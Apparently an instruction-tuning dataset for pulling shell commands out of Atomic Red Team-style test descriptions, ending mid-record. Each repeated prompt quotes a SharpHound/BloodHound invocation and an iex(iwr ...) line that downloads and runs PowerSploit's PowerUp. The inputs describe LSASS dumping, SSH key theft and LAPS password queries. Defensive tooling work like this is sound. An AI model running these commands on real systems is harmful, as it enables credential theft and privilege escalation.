syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A modification registry to disable ShowUI settings of Windows Error Report. This registry setting can influence the behavior of error reporting dialogs or prompt box. \nThis technique was seen in DarkGate malware as part of its installation.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain\ninformation will be displayed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure\npowershell implementation that leverages the MiniDumpWriteDump Win32 API call.\nUpon successful execution, you should see the following file created $env:TEMP\\lsass_*.dmp.\n\nAuthor of Out-Minidump: Matthew Graeber (@mattifestation)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n \"This will test if the macOS firewall is enabled and/or show what rules are configured. Must be run with elevated privileges. Upon successful execution, these commands will output various information about the firewall configuration, including status and specific port/protocol blocks or allows. \n\nUsing `defaults`, additional arguments can be added to see filtered details, such as `globalstate` for global configuration (\\\"Is it on or off?\\\"), `firewall` for common application allow rules, and `explicitauths` for specific rules configured by the user. \n\nUsing `socketfilterfw`, flags such as --getglobalstate or --listapps can be used for similar filtering. At least one flag is required to send parseable output to standard out. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Manipulate Admin Account Name\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Query the registry to determine the version of internet explorer installed on the system.\nUpon execution, version information about internet explorer will be displayed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 